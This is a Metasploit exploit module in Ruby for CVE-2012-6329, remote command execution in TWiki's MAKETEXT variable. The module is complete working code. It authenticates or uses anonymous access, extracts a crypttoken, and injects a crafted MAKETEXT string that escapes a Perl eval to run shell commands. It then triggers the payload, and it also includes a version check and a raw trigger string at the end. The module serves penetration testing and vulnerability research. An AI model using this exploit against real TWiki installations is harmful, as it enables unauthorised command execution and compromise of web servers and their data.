TWiki MAKETEXT Remote Command Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'TWiki MAKETEXT Remote Command Execution',
   'Description'    => %q{
     This module exploits a vulnerability in the MAKETEXT Twiki variable. By using a
    specially crafted MAKETEXT, a malicious user can execute shell commands since user
    input is passed to the Perl "eval" command without first being sanitized. The
    problem is caused by an underlying security issue in the CPAN:Locale::Maketext
    module. This works in TWiki sites that have user interface localization enabled
    (UserInterfaceInternationalisation variable set).

    If USERNAME and PASSWORD aren't provided, anonymous access will be tried. Also,
    if the 'TwikiPage' option isn't provided, the module will try to create a random
    page on the SandBox space.  The modules has been tested successfully on
    TWiki 5.1.2 as distributed with the official TWiki-VM-5.1.2-1 virtual machine.
   },
   'Author'         =>
    [
     'George Clark', # original discovery
     'juan vazquez' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2012-6329' ],
     [ 'OSVDB', '88460' ],
     [ 'BID', '56950' ],
     [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329' ]
    ],
   'Privileged'     => false, # web server context
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 1024,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic ruby python bash telnet'
      }
    },
   'Platform'       => [ 'unix' ],
   'Arch'           => ARCH_CMD,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Dec 15 2012',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('TARGETURI', [ true, "TWiki base path", "/" ]),
    OptString.new('TwikiPage', [ false, "TWiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)" ]),
    OptString.new('USERNAME', [ false,  "The user to authenticate as (anonymous if username not provided)"]),
    OptString.new('PASSWORD', [ false,  "The password to authenticate with (anonymous if password not provided)" ])
   ], self.class)
 end

 def do_login(username, password)
  res = send_request_cgi({
   'method'   => 'POST',
   'uri'      => "#{@base}do/login",
   'vars_post' =>
    {
     'username' => username,
     'password' => password
    }
   })

  if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /TWIKISID=([0-9a-f]*)/
   return nil
  end

  session = $1
  return session
 end

 def inject_code(session, code)

  vprint_status("Retrieving the crypttoken...")

  res = send_request_cgi({
   'uri'      => "#{@base}do/edit#{@page}",
   'cookie'   => "TWIKISID=#{session}",
   'vars_get' =>
    {
     'nowysiwyg' => '1'
    }
  })

  if not res or res.code != 200 or res.body !~ /name="crypttoken" value="([0-9a-f]*)"/
   vprint_error("Error retrieving the crypttoken")
   return nil
  end

  crypttoken = $1
  vprint_good("crypttoken found: #{crypttoken}")

  if session.empty?
   if res.headers['Set-Cookie'] =~ /TWIKISID=([0-9a-f]*)/
    session = $1
   else
    vprint_error("Error using anonymous access")
    return nil
   end
  end

  vprint_status("Injecting the payload...")

  res = send_request_cgi({
   'method'   => 'POST',
   'uri'      => "#{@base}do/save#{@page}",
   'cookie'   => "TWIKISID=#{session}",
   'vars_post' =>
   {
    'crypttoken' => crypttoken,
    'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"
   }
  })

  if not res or res.code != 302 or res.headers['Location'] =~ /oops/ or res.headers['Location'] !~ /#{@page}/
   print_warning("Error injecting the payload")
   print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"
   return nil
  end

  location = URI(res.headers['Location']).path
  print_good("Payload injected on #{location}")

  return location
 end

 def check
  @base = target_uri.path
  @base << '/' if @base[-1, 1] != '/'

  res = send_request_cgi({
   'uri'      => "#{@base}do/view/TWiki/WebHome"
  })

  if not res or res.code != 200
   return Exploit::CheckCode::Unknown
  end

  if res.body =~ /This site is running TWiki version.*TWiki-(\d\.\d\.\d)/
   version = $1
   print_status("Version found: #{version}")
   if version < "5.1.3"
    return Exploit::CheckCode::Appears
   else
    return Exploit::CheckCode::Safe
   end
  end

  return Exploit::CheckCode::Detected
 end

 def exploit

  # Init variables
  @page = ''

  if datastore['TwikiPage'] and not datastore['TwikiPage'].empty?
   @page << '/' if datastore['TwikiPage'][0] != '/'
   @page << datastore['TwikiPage']
  else
   @page << "/Sandbox/#{rand_text_alpha_lower(3).capitalize}#{rand_text_alpha_lower(3).capitalize}"
  end

  @base = target_uri.path
  @base << '/' if @base[-1, 1] != '/'

  # Login if needed
  if (datastore['USERNAME'] and
   not datastore['USERNAME'].empty? and
   datastore['PASSWORD'] and
   not datastore['PASSWORD'].empty?)
   print_status("Trying login to get session ID...")
   session = do_login(datastore['USERNAME'], datastore['PASSWORD'])
  else
   print_status("Using anonymous access...")
   session = ""
  end

  if not session
   fail_with(Exploit::Failure::Unknown, "Error getting a session ID")
  end

  # Inject payload
  print_status("Trying to inject the payload on #{@page}...")
  res = inject_code(session, payload.encoded)
  if not res
   fail_with(Exploit::Failure::Unknown, "Error injecting the payload")
  end

  # Execute payload
  print_status("Executing the payload through #{res}...")
  res = send_request_cgi({
   'uri'      => res,
   'cookie'   => "TWIKISID=#{session}"
  })
  if not res or res.code != 200 or res.body !~ /HASH/
   fail_with(Exploit::Failure::Unknown, "Error executing the payload")
  end

  print_good("Exploitation was successful")

 end

end

=begin

* Trigger:

%MAKETEXT{"test [_1] secondtest\\'}; `touch /tmp/msf.txt`; { #" args="msf"}%

=end